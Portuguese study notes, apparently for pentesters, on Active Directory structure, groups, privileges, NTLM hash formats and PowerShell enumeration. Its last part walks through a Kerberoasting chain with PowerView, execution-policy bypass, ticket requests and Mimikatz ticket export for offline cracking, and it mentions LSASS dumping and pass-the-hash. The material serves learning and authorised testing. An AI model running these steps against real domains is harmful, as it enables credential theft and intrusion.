Active Directory
Entendendo um Pouco Sobre AD
AD DS (Data Store)
NTDS.dit
é um arquivo geralmenta fica em %SystemRoot%\NTDS
e só pode acessado apenas pelo DC (Domain Controller). NTDS.dit
funciona como um banco de dados que contém todas as informações do Active Directory, incluindo hashes de senhas dos usuários no Domínio. Este, é semelhante ao arquivo SAM
, usado para contas locais. Algo importante a notar, é que se a configuração de armazenar senha com criptografia reversível estiver habilitada, o NTDS.DIT
também armazenará as senhas em texto não criptografado para todos os usuários criados ou que alteraram suas senhas após a definição desta política. Isso é possível, porém raramente irá ver esse cenário.
SysVol
É um diretório existente em cada DC, que contém arquivos públicos do domínio que precisam ser acessados pelos clientes e mantidos sincronizados entre os DC's. Por padrão, podemos localizá-lo localmente em C:\Windows\SYSVOL
ou remotamente em \\<domain.local>\sysvol
.
Components (Componentes)
Schema
= Define objetos e seus atributosQuery e Index
= Fornece pesquisa e publicação de objetos e suas propridadesGlobal Catalog (GC)
= Contém informações sobre todos os objetos do diretórioReplication Service
= Distribui informações entre os Controladores de Domínio
Forest (Floresta)
Resumindo em poucas palavras, Floresta é apenas uma forma de descrever a conexão criada entre as Trees (Árvores) e os Domain Controllers (DC) pela rede. É uma coleção de um ou mais Domínios que compartilham a mesma estrutura lógica (mesmo esquema, catálogo global e configurações de diretório), sendo assim uma espécia de limite de segurança.
Uma Floresta é constituída dos seguintes itens:
Trees
= Uma hierarquia de Domínios do AD DS (Active Directory Domain Services)Domains
= Usados para agrupar e gerenciar objetosOrganizational Units (OUs)
= Uma OU agrupa diversos tipos de Objetos do AD e pode ser vinculada a uma GPO, diferentemente dos Grupos que não podem ter esse vínculado. O controle de uma OU é determinada pelo ACL (Access Control List) e possui suporte a Delegação de Autoridade, onde os proprietátrios podem transferir o controle administrativo (total ou parcial) para outros usuários (ou grupos)Trusts
= Permite aos usuários, acessar recursos de outros domíniosObjects
= Usuários, grupos, impressoras, computadores, compartilhamentosDomain Services
= DNS Server, LLMNR, IPv6Domain Schema
= Regras para criação de objetos
Users (Usuários)
Por padrão no Active Directory, teremos 2 usuários, sendo eles o Administrator
e o Guest
. E também temos 4 tipos padrões de usuário, sendo eles:
Domain Admin
= É o único que pode acesar o Domain Controller e é claro, pode controlar o DomínioService Account
= Geralmente são utilizados para manutenção de serviços e podem ser administradores do DomínioLocal Administrators
Domain Users
= São os usuários que a maioria das pessoas usam, eles podem fazer login nas máquinas que têm autorização para acessar e podem ter direitos de administrador local (Local Administrators
) para as máquinas, dependendo das políticas da organização.
Grupos
Enterprise Admins
= A associação a este grupo fornece acesso completo à configuração no domínio. O grupo só existe no domínio raiz de uma floresta do AD. Os membros desse grupo têm a capacidade de fazer alterações em toda a floresta, como adicionar um domínio filho ou criar uma relação de confiança. A conta Administrador do domínio raiz da floresta é o único membro desse grupo por padrão.Administrators
= Os membros têm acesso total e irrestrito a um computador ou a um domínio inteiro se estiverem nesse grupo em um controlador de domínio.Account Operators
= Os membros podem criar e modificar a maioria dos tipos de contas, incluindo usuários, grupos locais e grupos globais, e os membros podem fazer login localmente em controladores de domínio. Eles não podem gerenciar a conta Administrador, contas de usuário administrativo ou membros dos grupos Administradores, Operadores de servidor, Operadores de conta, Operadores de backup ou Operadores de impressão, mas podem modificar contas e grupos não protegidos no domínioDefault Administrators
= Domain Admins e Enterprise AdminsBackup Operators
= Os membros podem fazer backup e restaurar todos os arquivos em um computador, independentemente das permissões definidas nos arquivos. Os operadores de backup também podem fazer logon e desligar o computador. Os membros podem fazer logon em DC's localmente e devem ser considerados administradores de domínio. Eles podem fazer cópias de sombra do banco de dados SAM/NTDS, que, se tomadas, podem ser usadas para extrair credenciais e outras informações interessantes.DnsAdmins
= Os membros têm acesso às informações de DNS da rede. O grupo só será criado se a função de servidor DNS estiver ou tiver sido instalada em um controlador de domínio no domínio.Domain Admins
= Os membros têm acesso total para administrar o domínio e são membros do grupo do administrador local em todas as máquinas ingressadas no domínio.Domain Computers
= Todos os computadores criados no domínio (exceto controladores de domínio) são adicionados a esse grupo.Domain Controllers
= Contém todos os DC's em um domínio. Novos DC's são adicionados a este grupo automaticamente.Domain Users
Domain Users = Este grupo contém todas as contas de usuário em um domínio. Uma nova conta de usuário criada no domínio é adicionada automaticamente a este grupo.Domain Guests
= Este grupo inclui a conta de convidado interna do domínio. Os membros deste grupo têm um perfil de domínio criado ao entrar em um computador associado ao domínio como um convidado local.DNS Admins
= Os membros têm a capacidade de carregar uma DLL em um DC, mas não têm as permissões necessárias para reiniciar o servidor DNS. Eles podem carregar uma DLL maliciosa e aguardar uma reinicialização como um mecanismo de persistência. Carregar uma DLL geralmente resultará na falha do serviço. Uma maneira mais confiável de explorar esse grupo é criar um registro WPAD.Event Log Readers
= Os membros podem ler logs de eventos em computadores locais. O grupo só é criado quando um host é promovido a controlador de domínio.Group Policy Creator Owners
= Os membros criam, editam ou excluem objetos de política de grupo no domínio, porém apesar de poder criar novos GPO's, é preciso receber permissões adicionais para vincular GPO's a um contêiner, como um domínio ou OU.Hyper-V Administrators
= Os membros têm acesso completo e irrestrito a todos os recursos do Hyper-V. Se houver DCs virtuais no domínio, quaisquer administradores de virtualização, como membros de administradores do Hyper-V, devem ser considerados administradores de domínio.IIS_IUSRS
= Este é um grupo interno usado pelos Serviços de Informações da Internet (IIS), começando com o IIS 7.0.Pre–Windows 2000 Compatible Access
= Este grupo existe para compatibilidade com versões anteriores de computadores que executam o Windows NT 4.0 e versões anteriores. A associação a esse grupo geralmente é uma configuração herdada restante. Isso pode levar a falhas em que qualquer pessoa na rede pode ler informações do AD sem exigir um nome de usuário e senha válidos do AD.Print Operators
= Os membros podem gerenciar, criar, compartilhar e excluir impressoras conectadas a controladores de domínio no domínio junto com qualquer objeto de impressora no AD. Os membros têm permissão para fazer logon em DCs localmente e podem ser usados para carregar um driver de impressora mal-intencionado e escalar privilégios no domínio.Protected Users
= Os membros desse grupo recebem proteções adicionais contra roubo de credenciais e táticas como abuso de Kerberos.Read-only Domain Controllers
= Contém todos os controladores de domínio somente leitura no domínio.Remote Desktop Users
= Este grupo é usado para conceder a usuários e grupos permissão para se conectar a um host por meio da Área de Trabalho Remota (RDP). Este grupo não pode ser renomeado, excluído ou movido.Remote Management Users
= Este grupo pode ser usado para conceder aos usuários acesso remoto a computadores via Windows Remote Management (WinRM). Os membros têm permissão para fazer logon em DCs com PSRemoting (este grupo às vezes é adicionado ao grupo de gerenciamento remoto local em não DCs).Schema Admins
= Os membros podem modificar o esquema do Active Directory, que é a forma como todos os objetos com AD são definidos. Esse grupo existe apenas no domínio raiz de uma floresta do AD. A conta Administrador do domínio raiz da floresta é o único membro desse grupo por padrão.Server Operators
= Este grupo só existe em controladores de domínio. Os membros podem modificar serviços, acessar compartilhamentos SMB e fazer backup de arquivos em controladores de domínio. Por padrão, este grupo não tem membros.
Privilégios
SeImpersonatePrivilege
= Esse privilégio nos permite representar um token de uma conta privilegiada, como NT AUTHORITY\SYSTEM. Isso pode ser aproveitado com uma ferramenta como JuicyPotato, RogueWinRM, PrintSpoofer, etc., para escalar privilégios em um sistema de destino.SeLoadDriverPrivilege
= Um usuário com esse privilégio pode carregar e descarregar drivers de dispositivo que podem ser usados para aumentar privilégios ou comprometer um sistema.SeRemoteInteractiveLogonRight
= Esse privilégio pode dar ao nosso usuário de destino o direito de fazer logon em um host por meio da Área de Trabalho Remota (RDP), que pode ser usada para obter dados confidenciais ou aumentar privilégios.SeBackupPrivilege
= Isso concede ao usuário a capacidade de criar backups do sistema e pode ser usado para obter cópias de arquivos confidenciais do sistema que podem ser usados para recuperar senhas, como os hives SAM e SYSTEM Registry e o arquivo de banco de dados NTDS.dit Active Directory.SeDebugPrivilege
= Isso permite que um usuário depure e ajuste a memória de um processo. Com esse privilégio, os invasores podem utilizar uma ferramenta como o Mimikatz para ler o espaço de memória do processo LSASS (Local System Authority) e obter quaisquer credenciais armazenadas na memória.SeTakeOwnershipPrivilege
= Isso permite que um processo se aproprie de um objeto. Em seu nível mais básico, poderíamos usar esse privilégio para obter acesso a um compartilhamento de arquivo ou a um arquivo em um compartilhamento que de outra forma não seria acessível a nós.
GPO (Group Policy Object)
As GPO não se aplicam diretamente a Grupos e Usuários. Por esse motivo, deve-se utilizar as OU's para herdar essas Políticas de Grupo
GPC (Group Policy Container)
= Contém informações sobre as propriedades de uma GPO e é armazenado no AD em Domain Controller do Domínio GPT (Group Policy Template)
= Contém os dados em uma GPO e é armazenado no SysVol
, dentro do diretório /Policies
As GPO's são aplicadas da seguinte forma. Leve em conta que uma GPO sobrepõe as outras GPO's que já foram aplicadas, então a última GPO irá sobreescrever e ter assim efeito na política final que será aplicada
GPO local
Sites
Domínio
OU (caso tenha OU aninhada, a OU filha irá sobreescrever a OU pai)
SPN
Indentificador único de um determinado serviço do Domínio / Floresta, onde cada instância de serviço tem seu próprio SPN. É através do SPN, que o Kerberos associa uma instância de serviço a uma conta de logon de serviço. A sintaxe do SPN constitui no seguinte padrão:
<service_class>/<host>[:<port>][/<service_name>]
service_class
= Campo obrigatório que define o tipo de serviço como LDAP, SQLServer, WWW, etchost
= Campo obrigatório onde pode o FQDN ou o NetBios, que não recomendado porém ainda existe devido a questões de compatibilidadeport
= Campo não obrigatório, porém se não for emitido, será definido a porta padrão do serviço em questão. Por exemplo, se for um MySQL, será utilizado por padrão a porta 3306service_name
= Campo não obrigatório que pode ser utilizado para identificar outros dados
Dentre os SPN's disponíveis, segue abaixo os principais (link no fim da página para lista completa de SPN):
TERMSRV
= RDPLDAP
= Serviço LDAPCIFS
= Common Internet File SystemexchangeAB
= Exchange Address Book ServiceDNS
= Domain Name Serverhost
= Serviço HOST, que representa o próprio computador, no qual toda máquina a possui. Se tiver um ticket dessa máquina, é possível acessá-la e executar comandos no SOFTP
= File Transfer ProtocolHTTP
= Serviço WEB que suporta autenticação KerberosMSSQL
= Microsoft SQL Server
ACL
Quando um usuário loga no Windows, ele recebe um token no qual consiste em verificar se o usuário está incluso na ACL do objetos ou recursos que ele solicita. Essa ACL é uma lista composta por ACE (Access Control Entry) e cada ACE em uma ACL, identifica uma entidade de segurança, os direitos de acesso permitido, negados ou auditados para essa entidade.
Clique no link abaixo para mais detalhes sobre ACL.
Explorando ACL/ACERelação de Confiança
One-Way (Unidirecional)
= Os usuários de um Domínio confiável (Trusted
) podem acessar recursos de um Domínio em que depositou essa confiança nele (Trusting
), porém o inverso não é possível. Por exemplo, o Domínioabc.com
(Trusted) pode acessar todos os recursos do Domíniodef.com
(Trusting), pois este confia emabc.com
. Em contra partida, o Domíniodef.com
(Trusting
) não pode acessar os recursos deabc.com
(Trsuted
), poisabc.com
não confia emdef.com
Two-Way (Bidirecional)
= O Domínioabc.com
pode acessardef.com
e vice-versa. Esse tipo de confiança é estabelecido por padrão em uma Floresta e é TransitivoTransitiva
= Se o Domínioabc.com
confia emdef.com
, edef.com
confia emghi.com
, entãoabc.com
confia emghi.com
, eghi.com
confia emabc.com
Não-Transitivo
= Relação padrão entre 2 Domínios em florestas diferentesExternal Trust (Externa)
= Confiança entre 2 Domínios de Florestas diferentes que não possuem relação de confiança entre si. Estas podem ser Unidirecional ou Bi-Direcional e são Não-TransitivasFlorestas
= Por padrão as Florestas são de Unidirecional ou Bi-Direcional e Não-Transitivas. Por exemplo, aFloresta A
confia naFloresta B
, e aFloresta B
confia naFloresta C
, porém aFloresta A
não confia naFloresta C
. Esse é a configuração padrão, porém pode ser configurada para que seja Transitiva.
Windows Server AD VS Azure AD
Segue abaixo as principais diferenças entre o Windows Server AD (On-Premise) e o Azure AD (Cloud)
WINDOWS SERVER AD
AZURE AD
LDAP
Rest APIs
NTLM
OAuth/SAML
Kerberos
OpenID
OU Tree
Flat Structure
Domains and Forests
Tenants
Trusts
Guests
Gerenciando AD via Powershell
Antes de começar, importe o módulo para poder executar os comandos com êxito
Import-Module -Name ActiveDirectory
Adicionando usuário no AD
Import-Module -Name ActiveDirectory
New-ADUser -Name "<name user>" -AccountPassword (ConvertTo-SecureString -AsPlainText (Read-Host "Enter a secure password") -Force ) -Enabled $true -OtherAttributes @{'title'="<title>";'mail'="<email@local.com"}
Removendo usuários do AD
Remove-ADUser -Identity <user>
Desbloquando conta
Unlock-ADAccount -Identity <user>
Resetando senha de usuário
Set-ADAccountPassword -Identity '<user>' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<nova_senha>" -Force)
Forçando aleração de senha
Set-ADUser -Identity <user> -ChangePasswordAtLogon $true
Criando OU
New-ADOrganizationalUnit -Name "<nome>" -Path "OU=<name>,OU=<name>,DC=<domain>,DC=<local>""
Criando Grupo
New-ADGroup -Name "<nome>" -SamAccountName <nome> -GroupCategory Security -GroupScope Global -DisplayName "<nome>" -Path "OU=<nome>,OU=<nome>,DC=<domain>,DC=<local>" -Description "<description>"
Adicionando usuário(s) em um grupo
Add-ADGroupMember -Identity <grupo> -Members <nome1>,<nome2>
Duplicando uma GPO
Copy-GPO -SourceName "<nome_GPO_existente>" -TargetName "<nome_da_nova_GPO>"
Linkando GPO com OU
Set-GPLink -Name "nome_gpo>" -Target "ou=<nome>,OU=<nome>,dc=<domain>,dc=<local>" -LinkEnabled Yes
Inserindo o próprio computador em um Domínio
Add-Computer -DomainName <DOMAIN.LOCAL> -Credential <DOMAIN>\<user> -Restart
Adicionado um computador remoto no AD
Add-Computer -ComputerName '<nome>' -LocalCredential '.\<user>' -DomainName '<DOMAIN.LOCAL>' -Credential '<DOMAIN>\<user>' -Restart
Autenticação
Além de Kerberos e LDAP, o Active Directory utiliza vários outros métodos de autenticação que podem ser usados (e abusados) por aplicativos e serviços no AD. Isso inclui LM, NTLM, NTLMv1 e NTLMv2. LM e NTLM aqui são os nomes de hash e NTLMv1 e NTLMv2 são protocolos de autenticação que utilizam o hash LM ou NT. Abaixo está uma rápida comparação entre esses hashes e protocolos, o que nos mostra que, embora não seja perfeito, o Kerberos geralmente é o protocolo de autenticação preferido sempre que possível. É essencial entender a diferença entre os tipos de hash e os protocolos que os utilizam.
LDAP
LDAPLM (LAN Manager)
Os hashes do LAN Manager (LM) são o mecanismo de armazenamento de senha mais antigo usado pelo sistema operacional Windows. LM estreou em 1987 no sistema operacional OS/2. Se em uso, eles são armazenados no banco de dados SAM em um host Windows e no banco de dados NTDS.DIT em um controlador de domínio. Devido a deficiências de segurança significativas no algoritmo de hash usado para hashes LM, ele foi desativado por padrão desde o Windows Vista/Server 2008. No entanto, ainda é comum encontrar, especialmente em grandes ambientes onde sistemas mais antigos ainda são usados. As senhas que usam LM são limitadas a um máximo de 14 caracteres. As senhas não diferenciam maiúsculas de minúsculas e são convertidas em maiúsculas antes de gerar o valor de hash, limitando o espaço de chave a um total de 69 caracteres, tornando relativamente fácil decifrar esses hashes usando uma ferramenta como o Hashcat. Antes do hash, uma senha de 14 caracteres é primeiro dividida em dois pedaços de sete caracteres. Se a senha tiver menos de quatorze caracteres, ela será preenchida com caracteres NULL para atingir o valor correto. Duas chaves DES são criadas a partir de cada pedaço. Esses pedaços são então criptografados usando a string KGS!@#$%
, criando dois valores de texto cifrado de 8 bytes. Esses dois valores são então concatenados, resultando em um hash LM. Esse algoritmo de hash significa que um invasor precisa apenas forçar brute sete caracteres duas vezes em vez de todos os quatorze caracteres, tornando mais rápido quebrar hashes LM em um sistema com uma ou mais GPUs. Se uma senha tiver sete caracteres ou menos, a segunda metade do hash LM sempre terá o mesmo valor e poderá ser determinada visualmente mesmo sem ferramentas necessárias, como Hashcat. O uso de hashes LM pode ser desaprovado usando a Diretiva de Grupo. Um hash LM tem o seguinte formato de exemplo: c96bd12cc1161d96
.
NTHash (NTLM)
A autenticação NTLM é utilizada quando um cliente se autentica em um servidor através do seu endereço IP (ao invés do nome do host) ou se o usuário tenta se autenticar pelo nome do host que não está registrado no servidor DNS integrado ao AD. Da mesma forma, aplicativos de terceiros podem optar por usar a autenticação NTLM em vez da autenticação Kerberos (clique em baixo para saber mais sobre o Kerberos).
Os hashes do NT LAN Manager (NTLM) são usados em sistemas Windows modernos. É um protocolo de autenticação desafio-resposta e usa três mensagens para autenticar: primeiro um cliente envia uma NEGOTIATE_MESSAGE
ao servidor, cuja resposta é uma CHALLENGE_MESSAGE
para verificar a identidade do cliente. Por fim, o cliente responde com um AUTHENTICATE_MESSAGE
. Esses hashes são armazenados localmente no banco de dados SAM ou no arquivo de banco de dados NTDS.DIT
em um controlador de domínio. O protocolo tem dois valores de senha com hash para escolher para executar a autenticação: o hash LM e o hash NT, que é o hash MD4 do valor UTF-16 little-endian da senha. O algoritmo pode ser visualizado como: MD4(UTF-16-LE(senha)). Mesmo sendo mais seguro que o LM, o NTLM também pode sofrer ataques de sucesso com Brute Force (dependendo da complexibilidade da senha) e também ataques de pass-the-hash.
Um hash NT assume a forma de b4b9b02e6f09a9bd760f388b67351e2b, que é a segunda metade do hash NTLM completo. Um hash NTLM se parece com isso:
user:500:84f3c115b514a5aaefd3b935b54a04fe:d33dfe544fa0daa4de7f59fb6d48ea0b:::
Observando o hash acima, podemos dividir o hash NTLM em suas partes individuais:
user
= É o nome de usuário500
= Esse é o Identificador Relativo (RID). O valor 500 é o RID conhecido para a conta de administrator84f3c115b514a5aaefd3b935b54a04fe
= É o hash LM e, se os hashes LM estiverem desabilitados no sistema, não poderá ser usado para nadad33dfe544fa0daa4de7f59fb6d48ea0b
= É o hash do NTLM. Esse hash pode ser quebrado offline para revelar o valor de texto simples (dependendo do tamanho/força da senha) ou usado para um ataque de pass-the-hash, utilizando por exemplo, ferramentas comoCrackMapExec
.
NTLMv1 (Net-NTMLv1)
O protocolo NTLM executa um desafio/resposta entre um servidor e um cliente usando o hash NT. O NTLMv1 usa o hash NT e LM, o que pode facilitar o "crack" offline após a captura de um hash usando uma ferramenta como o Responder
ou por meio de um ataque de retransmissão NTLM. O protocolo é usado para autenticação de rede e o próprio hash Net-NTLMv1 é criado a partir de um algoritmo de desafio/resposta. O servidor envia ao cliente um número aleatório de 8 bytes (desafio) e o cliente retorna uma resposta de 24 bytes. Esses hashes NÃO podem ser usados para ataques pass-the-hash.
Exemplo de hash:
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:44c086049ec47e66
NTLMv2 (Net-NTLMv2)
O protocolo NTLMv2 foi introduzido pela primeira vez no Windows NT 4.0 SP4 e foi criado como uma alternativa mais forte ao NTLMv1. Ele é o padrão no Windows desde o Server 2000. Ele é protegido contra certos ataques de falsificação aos quais o NTLMv1 é suscetível. O NTLMv2 envia duas respostas ao desafio de 8 bytes recebido pelo servidor. Essas respostas contêm um hash HMAC-MD5 de 16 bytes do desafio, um desafio gerado aleatoriamente do cliente e um hash HMAC-MD5 das credenciais do usuário. Uma segunda resposta é enviada, usando um desafio de cliente de comprimento variável, incluindo a hora atual, um valor aleatório de 8 bytes e o nome de domínio.
Exemplo de hash NTLMv2:
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:2b4830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783f11
Domain Cached Credentials (MSCache2)
Em um ambiente AD, os métodos de autenticação mencionados nesta seção e na anterior requerem que o host que estamos tentando acessar se comunique com os "cérebros" da rede, o Controlador de Domínio. A Microsoft desenvolveu o algoritmo MS Cache v1 e v2 (também conhecido como Domain Cached Credentials (DCC) para resolver o possível problema de um host associado a um domínio não conseguir se comunicar com um controlador de domínio (ou seja, devido a uma interrupção de rede ou outro problema técnico) ) e, portanto, a autenticação NTLM/Kerberos não funciona para acessar o host em questão. Os hosts salvam os últimos 10 hashes para qualquer usuário de domínio que faça login com êxito na máquina na chave de registro HKEY_LOCAL_MACHINE\SECURITY\Cache. Esses hashes não podem ser usados em Além disso, o hash é muito lento para quebrar com uma ferramenta como o Hashcat, mesmo ao usar um equipamento de cracking de GPU extremamente poderoso, então as tentativas de quebrar esses hashes geralmente precisam ser extremamente direcionadas ou depender de um senha fraca em uso. Esses hashes podem ser obtidos por um invasor ou pentester após obter acesso de administrador local a um host.
Exemplo de hash:
$DCC2$10240#usuario#22e938d12fea7f4dc42a90120bd9e744
Gerenciando Usuários
Adicionando um usuário em um grupo
Add-ADGroupMember -Identity "<grupo>" -Members <usuario>
Enumerando com Domain Controller (Forma Nativa)
Filter
-eq
Igual a
Get-ADUser -Filter "name -eq 'mysther'"
-le
Menor que ou igual a
-ge
Maior que ou igual a
-ne
Diferente de
Get-ADUser -Filter "name -le 'mysther'"
-lt
Menor que
-gt
Maior que
-approx
Aproximadamente igual a
-bor
OR Bit a Bit
-band
AND Bit a Bit
-recursivematch
Correspondência recursiva
-like
Substring, semelhante ao LIKE do SQL
Get-ADUser -Filter "name -like 'mysth*'"
-notlike
Inverso ao LIKE
Get-ADUser -Filter "name -notlike 'mysth*'"
-and
AND booleano
-or
OR booleano
-not
NOT booleano
Os filters
podem ser escritos de algumas maneiras (trazendo o mesmo resultado).
Get-ADUser -Filter "name -eq 'mysther'"
Get-ADUser -Filter 'name -eq "mysther"'
Get-ADUser -Filter {name -eq 'mysther'}
Get-ADUser -Filter {name -eq "mysther"}
Buscando por todos os usuários cadastrados no AD
Get-ADUser -filter * -properties *
Buscando nome de computadores e seus respectivos IP's
Get-ADComputer -filter * -Properties IPv4Address | select name,IPv4Address
Pesquisando por todas os hosts na rede que possui "sql" no nome
Get-ADComputer -Filter "DNSHostName -like 'SQL*'"
Todos os usuários administrativos com DoesNotRequirePreAuth
ativo. Assim, pegaremos usuários vulneráveis a ataque ASREPRoasted
Get-ADUser -Filter {adminCount -eq '1' -and DoesNotRequirePreAuth -eq 'True'}
O comando a seguir pode ser usado para localizar todos os usuários administrativos com o conjunto de atributos "servicePrincipalName", o que significa que eles provavelmente podem estar sujeitos a um ataque Kerberoasting
Get-ADUser -Filter "adminCount -eq '1'" -Properties * | where servicePrincipalName -ne $null | select SamAccountName,MemberOf,ServicePrincipalName | fl
Filtrando por usuários com mais de 3 logins incorretos
Get-ADUser -Filter "badpwdcount -ge 3"
Mostrando todos os usuários que fazem parte de uma determinada OU
Get-ADUser -Filter * -SearchBase "OU=<name>,OU=<name>,OU=<name>,DC=<domain>,DC=<local>" | ft
# Caso queira saber somente o total
(Get-ADUser -Filter * -SearchBase "OU=<name>,OU=<name>,OU=<name>,DC=<domain>,DC=<local>").count
Buscando por todos os usuários que possuem PasswordNotRequired ativo
Get-ADUser -Filter {PasswordNotRequired -eq $true} | ft nome, UserPrincipalName
SearchBase
Níveis de pesquisa
Base
= Escopo básico
OneLevel
= Não retorna nenhum sub-container
SubTree
= Pesquisa objetos contidos pelo SearchBase e todos os containers filhos, sendo este recursivamente até a hierarquia do AD.
Exemplo de comandos:
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Base -Filter *
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope OneLevel -Filter *
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *
Realizando um count
(Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *).count
Note que usamos o Get-ADUser
, mas podemos utilizar Get-ADObject
para obtermos resultados diferentes.
Verificando quantos usuários estão em uma determinada OU
(Get-ADUser -SearchBase "OU=<sub-ou>,OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *).count
Powershell
Informações sobre um determinado usuário.
Get-ADUser -identity <sAMAccountName>
Verificando todos os usuários que fazem parte de um determinado grupo.
Get-ADGroupMember -Identity "<grupo>"
Informações sobre todos os computadores do domínio.
Get-ADComputer
Informações detalhadas sobre determinado computador do domínio
Get-ADComputer <computer_name> -Properties *
Membros de determinado grupo local
Get-LocalGroupMember '<group>'
Informações sobre um determinado grupo
Get-ADGroup -Identity "<group>" -Properties *
Verificando membros de um determinado grupo.
Get-NetGroupMember '<grupo>'
Verificando qual OU está gerenciando determinado grupo
Get-ADGroup -Identity "<grupo>" -Properties ManagedBy
Verificando se as políticas AppLocker são aplicadas:
powershell Get-AppLockerPolicy -Effective
Enumerando com um Host do Domínio (Forma Nativa)
Informações sobre o Domínio
Pegando informações sobre o Domínio. Note no campo name
, teremos o nome do Domínio e no campo PdcRoleOwner
teremos Primary Domain Controller (PDC), então este terá as informações mais atualizadas sobre login e autenticação dos usuários.
# Powershell nativo
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Verificando as políticas de conta de domínio. Note o valor de Lockout threshold
, que indica quantas tentativas de login podem ser executadas com erro antes de bloquear a conta e Lockout Duration (minutes)
para saber quantos minutos após as tentativas de login (sem chegar no limite de Lockout threshold), pode realizar novas tentativas.
net accounts
Informações sobre Usuários e Grupos
Pegando todos os usuários do Domínio
net user /domain
Informações sobre determinado usuário no domínio
net user /domain <user>
Outra forma de pegar todos os usuários do Domínio (porém de uma maneira mais detalhada), é partir do comando abaixo (executado em Powershell):
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host "------------------------------------------------------------------"
}
Dessa maneira irá trazer todos os usuários do domínio, o que pode ser gerar uma saída bem poluída. Caso deseje retornar computadores ao invés de usuários, altere o samAccountType
805306368
para 805306369
. Mas dando continuidade na enumeração de usuários, vamos alterar o filtro para trazer somente um determinado usuário. Para isso altere a linha $Searcher.filter="samAccountType=805306368"
para a linha abaixo, alterando é claro o filtro desejado.
$Searcher.filter="name=<Nome do Usuário>"
Pegando o nome de todos os grupos do Domínio:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.name
}
Agora que já sabemos o nome dos grupos do Domínio, podemos saber quem são os membros desse grupo, através do seguinte comando (altere o valor de <Nome_do_Grupo>
):
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=<Nome_do_Grupo>)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.member
}
Verificando usuários que estão logados nesse exato momento
powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName <hostname>
Como já sabemos que esses usuários estão logados atualmente, podemos validar isso, verificando se uma sessão ativa deles no Domain Controller. Lembre-se que, quando um usuário faz login, a sessão é armazenada no DC, ele apenas teve origem de uma estação de trabalho (ou de algum servidor).
powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetSession -ComputerName <domain_controller>
Informações sobre contas de serviços
As Contas de serviços podem ter acessos privilegiados, então é sempre recomendado buscarmos essas contas. No exemplo abaixo, estamos fazendo um filtro por http
, então provavelmente irá buscar por contas responsáveis pelo IIS, mas snita-se a vontade para procurar por outras contas, como SQL
, por exemplo.
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
}
Caso o comando tenha êxito e retorne algo, verifique o campo samaccountname
para identificar o nome da conta e seviceprincipalname
, pois é através dele que iremos pegar o seu IP. Após o HTTP/
, podemos ver o seu caminho de acesso basta dar um nslookup
nele, para ver o seu IP.
Com isso em mente, podemos salvar o Ticket desses serviços em memória (substitua o valor de -ArgumentList pelo valor de seviceprincipalname
executado no comando acima):
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '<serviceprincipalname>'
Execute um dos comandos abaixo para verificar se realmente o ticket foi gerado
klist
# ou
.\mimikatz.exe
kerberos::list
Agora podemos resgatar o ticket e salvá-lo em disco utilizando o próprio Mimikatz:
kerberos::list /export
Agora vamos transferir o arquivo para o Linux e realizar um ataque de Brute Force para descobrirmos a senha da conta de serviço.
